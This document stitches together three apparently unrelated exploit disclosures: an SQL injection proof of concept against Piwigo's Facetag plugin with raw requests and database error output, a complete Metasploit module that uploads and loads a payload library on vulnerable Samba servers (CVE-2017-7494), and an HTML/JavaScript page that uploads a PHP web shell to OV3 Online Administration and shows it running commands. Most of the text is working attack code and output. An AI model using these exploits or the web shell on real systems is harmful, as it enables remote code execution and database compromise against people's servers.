######## Video PoC and Article ########

https://www.youtube.com/watch?v=MVCe_zYtFsQ
http://touhidshaikh.com/blog/poc/facetag-extension-piwigo-sqli/


######## Attact Description  ########
<!--

	Piwigo's Facetag Extention have multiple SQL injection.

	Facetag Extention provide additional button on photo page for visitor or user to tag any name oh that image.

	Affected Method : 1) facetag.changeTag
					 2) facetag.listTags

	1) facetag.changeTag
===>When we gave any tag name to photo, That time our request send by POST method to 
	server and directly interpret in server's database.Our POST request contain some perameter like (id,imageId,name etc)
	Affected parameter: imageId=

	2) facetag.listTags
===>When we visit any image on server. facetag.listTags method pass on ws.php file 		with imageId= parameter and fetch facetag name in json format. 
	Affectd parameter : imageId= 


NOTE : "www.test.touhid" this domain not registed on internet. This domain host in  touhid's local machine.
-->

######## Proof of Concept ########

Any visitor or registed user can perform this.


1) facetag.changeTag (Target parameter : imageId=14')
<!-- ---------------------OUR REQUEST ---------------------- -->

POST /ws.php?format=json&method=facetag.changeTag HTTP/1.1
Host: www.test.touhid
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.test.touhid/picture.php?/14/category/3
Content-Length: 93
Cookie: pwg_id=528jktu99quilhjjk6iapa1nv4
Connection: close
Pragma: no-cache
Cache-Control: no-cache

id=-1&imageId=14'&name=touhid&top=0.1280807957504735&left=0.5839646464646465&width=0&height=0

<!-- ---------------------Ends REQUEST facetag.changeTag ---------------------- -->

########### Response ############

<!-- --------------------- RESPONSE ---------------------- -->

HTTP/1.1 200 OK
Date: Tue, 30 May 2017 14:00:43 GMT
Server: Apache/2.4.25 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1097
Connection: close
Content-Type: text/plain; charset=utf-8

<pre><br />
<b>Warning</b>:  [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\', 15)' at line 1
INSERT IGNORE INTO piwigo_image_tag (`image_id`, `tag_id`) VALUES (14\', 15); in <b>/var/www/test/include/dblayer/functions_mysqli.inc.php</b> on line <b>845</b><br />
</pre><pre><br />
<b>Warning</b>:  [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\', 15, 0.1280807957504735, 0.5839646464646465, 0, 0) ON DUPLICATE KEY UPDATE `t' at line 1
INSERT INTO `piwigo_image_facetag` (`image_id`, `tag_id`, `top`, `left`, `width`, `height`) VALUES (14\', 15, 0.1280807957504735, 0.5839646464646465, 0, 0) ON DUPLICATE KEY UPDATE `top` = VALUES(`top`), `left` = VALUES(`left`), `width` = VALUES(`width`), `height` = VALUES(`height`); in <b>/var/www/test/include/dblayer/functions_mysqli.inc.php</b> on line <b>845</b><br />
</pre>{"stat":"ok","result":"{\"action\":\"INSERT\",\"id\":\"15\"}"}

<!-- --------------------- END RESPONSE ---------------------- -->



2) facetag.listTags (Target parameter : imageId=-1')

<!-- --------------------- OUR REQUEST ---------------------- -->
POST /ws.php?format=json&method=facetag.listTags HTTP/1.1
Host: www.test.touhid
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.test.touhid/picture.php?/14/category/3
Content-Length: 10
Cookie: pwg_id=528jktu99quilhjjk6iapa1nv4
Connection: close
Pragma: no-cache
Cache-Control: no-cache

imageId=-1'
<!-- --------------------- ENDs OUR REQUEST ---------------------- -->


########### Response ############
<!-- --------------------- RESPONSE ---------------------- -->
HTTP/1.1 200 OK
Date: Tue, 30 May 2017 14:10:32 GMT
Server: Apache/2.4.25 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1695
Connection: close
Content-Type: text/html; charset=UTF-8

<pre><br />
<b>Warning</b>:  [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\' AND EXISTS (SELECT 1 FROM piwigo_image_tag imgTag WHERE imgTag.`image_id` = i' at line 1
SELECT imgFaceTag.`tag_id`, imgFaceTag.`top`, imgFaceTag.`left`, imgFaceTag.`width`, imgFaceTag.`height`, tags.`name` FROM `piwigo_image_facetag` imgFaceTag , piwigo_tags tags WHERE imgFaceTag.`tag_id` = tags.`id` AND imgFaceTag.`image_id` = -1\' AND EXISTS (SELECT 1 FROM piwigo_image_tag imgTag WHERE imgTag.`image_id` = imgFaceTag.`image_id` AND imgTag.`tag_id` = imgFaceTag.`tag_id`); in <b>/var/www/test/include/dblayer/functions_mysqli.inc.php</b> on line <b>845</b><br />
</pre><br />
<b>Fatal error</b>:  Uncaught Error: Call to a member function fetch_assoc() on boolean in /var/www/test/include/dblayer/functions_mysqli.inc.php:226
Stack trace:
#0 /var/www/test/plugins/piwigo-facetag/include/ws_functions.inc.php(48): pwg_db_fetch_assoc(false)
#1 /var/www/test/plugins/piwigo-facetag/include/ws_functions.inc.php(43): queryResult2Array(false)
#2 /var/www/test/plugins/piwigo-facetag/include/ws_functions.inc.php(26): getImageFaceTags('-1\\'')
#3 /var/www/test/include/ws_core.inc.php(608): facetag_listTags(Array, Object(PwgServer))
#4 /var/www/test/include/ws_protocols/rest_handler.php(56): PwgServer->invoke('facetag.listTag...', Array)
#5 /var/www/test/include/ws_core.inc.php(296): PwgRestRequestHandler->handleRequest(Object(PwgServer))
#6 /var/www/test/ws.php(94): PwgServer->run()
#7 {main}
  thrown in <b>/var/www/test/include/dblayer/functions_mysqli.inc.php</b> on line <b>226</b><br />
<!-- --------------------- Ends RESPONSE here---------------------- -->
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba is_known_pipename() Arbitrary Module Load',
      'Description'    => %q{
          This module triggers an arbitrary shared library load vulnerability
        in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
        requires valid credentials, a writeable folder in an accessible share,
        and knowledge of the server-side path of the writeable folder. In
        some cases, anonymous access combined with common filesystem locations
        can be used to automatically exploit this vulnerability.
      },
      'Author'         =>
        [
          'steelo <knownsteelo[at]gmail.com>',    # Vulnerability Discovery
          'hdm',                                  # Metasploit Module
          'Brendan Coles <bcoles[at]gmail.com>',  # Check logic
          'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-7494' ],
          [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
        ],
      'Payload'         =>
        {
          'Space'       => 9000,
          'DisableNops' => true
        },
      'Platform'        => 'linux',
      #
      # Targets are currently limited by platforms with ELF-SO payload wrappers
      #
      'Targets'         =>
        [

          [ 'Linux x86',        { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64',     { 'Arch' => ARCH_X64 } ],
          #
          # Not ready yet
          # [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ],
          # [ 'Linux MIPS',       { 'Arch' => MIPS } ],
        ],
      'Privileged'      => true,
      'DisclosureDate'  => 'Mar 24 2017',
      'DefaultTarget'   => 1))

    register_options(
      [
        OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
        OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
        OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
      ])

    register_advanced_options(
      [
        OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
      ])
  end


  def generate_common_locations
    candidates = []
    if datastore['SMB_SHARE_BASE'].to_s.length > 0
      candidates << datastore['SMB_SHARE_BASE']
    end

    %W{ /volume1 /volume2 /volume3 /volume4
        /shared /mnt /mnt/usb /media /mnt/media
        /var/samba /tmp /home /home/shared
    }.each do |base_name|
      candidates << base_name
      candidates << [base_name, @share]
      candidates << [base_name, @share.downcase]
      candidates << [base_name, @share.upcase]
      candidates << [base_name, @share.capitalize]
      candidates << [base_name, @share.gsub(" ", "_")]
    end

    candidates.uniq
  end

  def enumerate_directories(share)
    begin
      self.simple.connect("\\\\#{rhost}\\#{share}")
      stuff = self.simple.client.find_first("\\*")
      directories = [""]
      stuff.each_pair do |entry,entry_attr|
        next if %W{. ..}.include?(entry)
        next unless entry_attr['type'] == 'D'
        directories << entry
      end

      return directories

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Enum #{share}: #{e}")
      return nil

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{share}"]
        self.simple.disconnect("\\\\#{rhost}\\#{share}")
      end
    end
  end

  def verify_writeable_directory(share, directory="")
    begin
      self.simple.connect("\\\\#{rhost}\\#{share}")

      random_filename = Rex::Text.rand_text_alpha(5)+".txt"
      filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"

      wfd = simple.open(filename, 'rwct')
      wfd << Rex::Text.rand_text_alpha(8)
      wfd.close

      simple.delete(filename)
      return true

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Write #{share}#{filename}: #{e}")
      return false

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{share}"]
        self.simple.disconnect("\\\\#{rhost}\\#{share}")
      end
    end
  end

  def share_type(val)
    [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
  end

  def enumerate_shares_lanman
    shares = []
    begin
      res = self.simple.client.trans(
        "\\PIPE\\LANMAN",
        (
          [0x00].pack('v') +
          "WrLeh\x00"   +
          "B13BWz\x00"  +
          [0x01, 65406].pack("vv")
        ))
    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Could not enumerate shares via LANMAN")
      return []
    end
    if res.nil?
      vprint_error("Could not enumerate shares via LANMAN")
      return []
    end

    lerror, lconv, lentries, lcount = res['Payload'].to_s[
      res['Payload'].v['ParamOffset'],
      res['Payload'].v['ParamCount']
    ].unpack("v4")

    data = res['Payload'].to_s[
      res['Payload'].v['DataOffset'],
      res['Payload'].v['DataCount']
    ]

    0.upto(lentries - 1) do |i|
      sname,tmp = data[(i * 20) +  0, 14].split("\x00")
      stype     = data[(i * 20) + 14, 2].unpack('v')[0]
      scoff     = data[(i * 20) + 16, 2].unpack('v')[0]
      scoff -= lconv if lconv != 0
      scomm,tmp = data[scoff, data.length - scoff].split("\x00")
      shares << [ sname, share_type(stype), scomm]
    end

    shares
  end

  def probe_module_path(path, simple_client=self.simple)
    begin
      simple_client.create_pipe(path)
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Probe: #{path}: #{e}")
    end
  end

  def find_writeable_path(share)
    subdirs = enumerate_directories(share)
    return unless subdirs

    if datastore['SMB_FOLDER'].to_s.length > 0
      subdirs.unshift(datastore['SMB_FOLDER'])
    end

    subdirs.each do |subdir|
      next unless verify_writeable_directory(share, subdir)
      return subdir
    end

    nil
  end

  def find_writeable_share_path
    @path = nil
    share_info = enumerate_shares_lanman
    if datastore['SMB_SHARE_NAME'].to_s.length > 0
      share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
    end

    share_info.each do |share|
      next if share.first.upcase == 'IPC$'
      found = find_writeable_path(share.first)
      next unless found
      @share = share.first
      @path  = found
      break
    end
  end

  def find_writeable
    find_writeable_share_path
    unless @share && @path
      print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
      fail_with(Failure::NoTarget, "No matching target")
    end
    print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
  end

  def upload_payload
    begin
      self.simple.connect("\\\\#{rhost}\\#{@share}")

      random_filename = Rex::Text.rand_text_alpha(8)+".so"
      filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
      wfd = simple.open(filename, 'rwct')
      wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
        payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
      )
      wfd.close

      @payload_name = random_filename
      return true

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      print_error("Write #{@share}#{filename}: #{e}")
      return false

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{@share}"]
        self.simple.disconnect("\\\\#{rhost}\\#{@share}")
      end
    end
  end

  def find_payload

    # Reconnect to IPC$
    simple.connect("\\\\#{rhost}\\IPC$")

    # Look for common paths first, since they can be a lot quicker than hunting PIDs
    print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
    generate_common_locations.each do |location|
      target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
      print_status("Trying location #{target}...")
      probe_module_path(target)
    end

    # Exit early if we already have a session
    return if session_created?

    return unless datastore['BruteforcePID']

    # XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
    #      to non-root, but their /proc/pid directories are still owned by root. Trying to
    #      read the /proc/other-pid/cwd/target.so results in permission denied. There is a
    #      good chance that this still works on some embedded systems and odd-ball Linux.

    # Use the PID hunting strategy devised by Tavis Ormandy
    print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")

    # Configure the main connection to have a working directory of the file share
    simple.connect("\\\\#{rhost}\\#{@share}")

    # Use a second connection to brute force the PID of the first connection
    probe_conn = connect(false)
    smb_login(probe_conn)
    probe_conn.connect("\\\\#{rhost}\\#{@share}")
    probe_conn.connect("\\\\#{rhost}\\IPC$")

    # Run from 2 to MAX_PID (ushort) trying to read the other process CWD
    2.upto(32768) do |pid|

      # Look for the PID associated with our main SMB connection
      target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
      vprint_status("Trying PID with target path #{target}...")
      probe_module_path(target, probe_conn)

      # Keep our main connection alive
      if pid % 1000 == 0
         self.simple.client.find_first("\\*")
      end
    end

  end

  def check
    res = smb_fingerprint

    unless res['native_lm'] =~ /Samba ([\d\.]+)/
      print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
      return CheckCode::Safe
    end

    samba_version = Gem::Version.new($1.gsub(/\.$/, ''))

    vprint_status("Samba version identified as #{samba_version.to_s}")

    if samba_version < Gem::Version.new('3.5.0')
      return CheckCode::Safe
    end

    # Patched in 4.4.14
    if samba_version < Gem::Version.new('4.5.0') &&
       samba_version >= Gem::Version.new('4.4.14')
      return CheckCode::Safe
    end

    # Patched in 4.5.10
    if samba_version > Gem::Version.new('4.5.0') &&
       samba_version < Gem::Version.new('4.6.0') &&
       samba_version >= Gem::Version.new('4.5.10')
      return CheckCode::Safe
    end

    # Patched in 4.6.4
    if samba_version >= Gem::Version.new('4.6.4')
      return CheckCode::Safe
    end

    connect
    smb_login
    find_writeable_share_path
    disconnect

    if @share.to_s.length == 0
      print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
      return CheckCode::Detected
    end

    print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
    return CheckCode::Appears
  end

  def exploit
    # Setup SMB
    connect
    smb_login

    # Find a writeable share
    find_writeable

    # Upload the shared library payload
    upload_payload

    # Find and execute the payload from the share
    begin
      find_payload
    rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
    end

    # Cleanup the payload
    begin
      simple.connect("\\\\#{rhost}\\#{@share}")
      uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
      simple.delete(uploaded_path)
    rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
    end

    # Shutdown
    disconnect
  end

end
            
<!--

OV3 Online Administration 3.0 Authenticated Code Execution


Vendor: novaCapta Software & Consulting GmbH
Product web page: http://www.meacon.de
Affected version: 3.0

Summary: With the decision to use the OV3 as a platform for your data management,
the course is set for scalable, flexible and high-performance applications. Whether
you use the OV3 for your internal data management or use it for commercial business
applications such as shops, portals, etc. Thanks to the data-based structure of the
OV3, you always have the best tool at your fingertips. The OV3 is a 100% web-based
tool. This eliminates the need to install a new software on all participating client
computers. All elements are operated by a standard browser. Further advantages are
the location-dependent use and - particularly with ASP solutions - the reduced costs
for local hardware like own servers and modern client workstations.

Desc: The application suffers from an authenticated arbitrary code execution. The
vulnerability is caused due to the improper verification of uploaded files in 'image_editor.php'
script thru the 'userfile' POST parameter. This can be exploited to execute arbitrary
PHP code by uploading a malicious PHP script file that will be stored in '/media/customers/'
directory. There is an extension check when uploading images and if the uploaded file
does not have the .jpg or .png extension, the application uploads the file with .safety
extension, which still executes PHP code. The attacker only needs the sid parameter
value which is disclosed within the initial GET request while authenticating and can be
collected in MitM attack.

Tested on: CentOS release 6.8 (Final)
           PHP/5.3.3
           Apache/2.2.15
           MySQL/5.0.11


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5411
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5411.php


26.12.2016

-->


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/127.0.0.1\/ov3.php?todo=manager&manager=media&sub=insert&edit_id=0&&from=&sid=c7cd370ec516d273230944a2c6495d38&stamp=1234567890&lang=en", true);
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary5HeURJ9AF8oOlc8q");
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"save_close\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"window_key\"\r\n" + 
          "\r\n" + 
          "1482761612\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[user]\"\r\n" + 
          "\r\n" + 
          "1483825\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[group]\"\r\n" + 
          "\r\n" + 
          "1095422\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[description]\"\r\n" + 
          "\r\n" + 
          "ZSL\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[alttext]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[subline]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"file_type\"\r\n" + 
          "\r\n" + 
          "upload\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" + 
          "\r\n" + 
          "122914560\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"userfile\"; filename=\"shell.php.jpg\"\r\n" + 
          "Content-Type: image/webp\r\n" + 
          "\r\n" + 
          "\x3c?php system($_REQUEST[\'cmd\']); ?\x3e\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[author]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[copyright]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_confirm]\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in_12_1\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_expires]\"\r\n" + 
          "\r\n" + 
          "license_expires\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_expires_0]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_expires_1]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_expires_2]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_remind]\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[scheme_id_selected]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[scheme_id]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Write file" onclick="submitRequest();" />
    </form>
  </body>
</html>

<!--

GET http://127.0.0.1/media/customers/5575/shell.php.jpg?cmd=id HTTP/1.1

uid=48(apache) gid=48(apache) groups=48(apache)

-->